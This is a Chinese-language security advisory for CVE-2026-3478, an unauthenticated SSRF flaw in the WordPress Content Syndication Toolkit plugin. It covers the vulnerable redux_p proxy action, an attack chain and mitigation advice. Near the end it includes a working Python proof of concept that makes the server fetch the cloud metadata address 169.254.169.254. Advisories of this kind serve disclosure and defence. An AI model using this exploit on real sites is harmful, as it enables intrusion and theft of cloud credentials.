IPBUF安全漏洞报告
English
CVE-2026-3478 CVSS 7.2 高危

CVE-2026-3478 WordPress插件SSRF漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-3478
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Content Syndication Toolkit 插件

相关标签

SSRFWordPressCVE-2026-3478Server-Side Request ForgeryHigh SeverityRCE

漏洞概述

WordPress Content Syndication Toolkit插件在1.3及之前版本中存在服务器端请求伪造(SSRF)漏洞。由于插件捆绑的ReduxFramework库中的`redux_p` AJAX action未对用户输入的URL进行有效验证,且无需身份验证即可访问,导致攻击者可利用该漏洞发起任意网络请求,获取内部服务信息或扫描内网。

技术细节

该漏洞源于插件捆绑的ReduxFramework库。插件注册了一个名为`wp_ajax_nopriv_redux_p`的AJAX action,该接口无需身份验证即可调用。在`Redux_P`类的`proxy()`方法中,代码直接从`$_GET['url']`参数获取目标URL。虽然代码中存在正则检查,但被设置为`/.*/`,意味着匹配所有字符串,实际上没有起到过滤作用。随后,代码使用`wp_remote_request()`函数发起请求,该函数不同于`wp_safe_remote_request()`,不具备内置的SSRF防护机制。由于缺乏身份验证检查、Nonce验证以及URL白名单限制,攻击者可以通过构造恶意的URL参数,诱导服务器向内网或云元数据服务发起请求,并将响应内容返回,造成敏感信息泄露。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标站点安装了Content Syndication Toolkit插件且版本低于等于1.3。
STEP 2
2. 发送恶意请求
攻击者向`/wp-admin/admin-ajax.php`发送POST请求,参数包含`action=redux_p`及恶意的`url`参数(如内网地址或云元数据地址)。
STEP 3
3. 服务端请求
服务器端接收到请求后,由于缺乏验证,直接使用`wp_remote_request()`向攻击者指定的URL发起请求。
STEP 4
4. 响应回显
服务器将请求到的内网资源响应内容返回给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # Target internal service or cloud metadata internal_url = "http://169.254.169.254/latest/meta-data/" params = { "action": "redux_p", "url": internal_url } response = requests.post(target_url, data=params) if response.status_code == 200: print("[+] SSRF Exploited successfully!") print("[+] Response:") print(response.text) else: print("[-] Failed to exploit")

影响范围

Content Syndication Toolkit <= 1.3

防御指南

临时缓解措施
建议立即升级插件至修复版本。若无法立即升级,应临时禁用该插件,或通过WAF拦截包含`action=redux_p`且带有外部URL参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表